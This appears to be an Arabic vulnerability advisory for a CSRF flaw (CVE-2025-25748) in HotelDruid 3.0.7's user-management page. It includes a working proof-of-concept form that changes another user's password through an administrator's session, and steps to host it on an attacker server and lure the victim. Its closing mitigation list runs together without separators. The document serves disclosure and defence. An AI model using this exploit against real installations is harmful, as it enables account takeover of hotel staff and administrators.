
ثغرة تزوير الطلب عبر المواقع (CSRF) في HotelDruid 3.0.7 (CVE-2025-25748)
ثغرة تزوير الطلبات عبر المواقع (CSRF) في نقطة النهاية gestione_utenti.php في HotelDruid 3.0.7 تسمح للمهاجمين بتنفيذ إجراءات غير مصرح بها (مثل تعديل كلمات مرور المستخدمين) نيابة عن المستخدمين المصادق عليهم من خلال استغلال عدم التحقق من المصدر أو المرجع وغياب رموز CSRF.
تكشف هذه الثغرة جميع حسابات المستخدمين — بما في ذلك الحسابات الإدارية — لتغييرات غير مصرح بها دون موافقة المستخدم.
يوضح النموذج الضار التالي كيف يمكن للمهاجم إجبار مسؤول مسجل الدخول على تغيير كلمة مرور المستخدم ذي المعرف 2 إلى maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
احفظ الكود أعلاه باسم csrf_attack.html.
اخدمه باستخدام بايثون (خادم يتحكم به المهاجم):
python3 -m http.server 8080
وجّه الضحية إلى:
http://<attacker-ip>:8080/csrf_attack.html
بمجرد الإرسال، يرسل النموذج الطلب إلى HotelDruid، لتغيير كلمة مرور المستخدم ذي المعرف 2 إلى maliciouspassword، باستخدام الجلسة النشطة للضحية.
HotelDruid هو نظام إدارة ممتلكات مفتوح المصدر يستخدم على نطاق واسع للفنادق والإيجارات السياحية. باعتباره نظامًا متعدد المستخدمين مع ضوابط إدارية لإدارة المستخدمين، فإن ضمان أن المستخدمين المصرح لهم فقط هم من يمكنهم تعديل بيانات اعتماد الحسابات أمر بالغ الأهمية لأمن النظام بشكل عام.
تستغل ثغرات CSRF الثقة التي يضعها الخادم في جلسة متصفح المستخدم. إذا كان الضحية مسجلاً للدخول وزار صفحة ضارة، يمكن للصفحة إرسال طلبات غير مصرح بها بصمت إلى التطبيق الضعيف باستخدام الجلسة النشطة للضحية. في HotelDruid، يسمح نقص دفاعات CSRF في الإجراءات الحساسة — مثل تغيير كلمات مرور المستخدمين — للمهاجمين بالاستيلاء الكامل على الحسابات دون تفاعل المستخدم بخلاف زيارة رابط ضار.
gestione_utenti.phpmodifica_passid_utente_passprima_passseconda_passOrigin أو Referer.gestione_utenti.php.Referer و Origin لضمان أن الطلبات تأتي من مصادر موثوقة.id_sessione) في عنوان URL.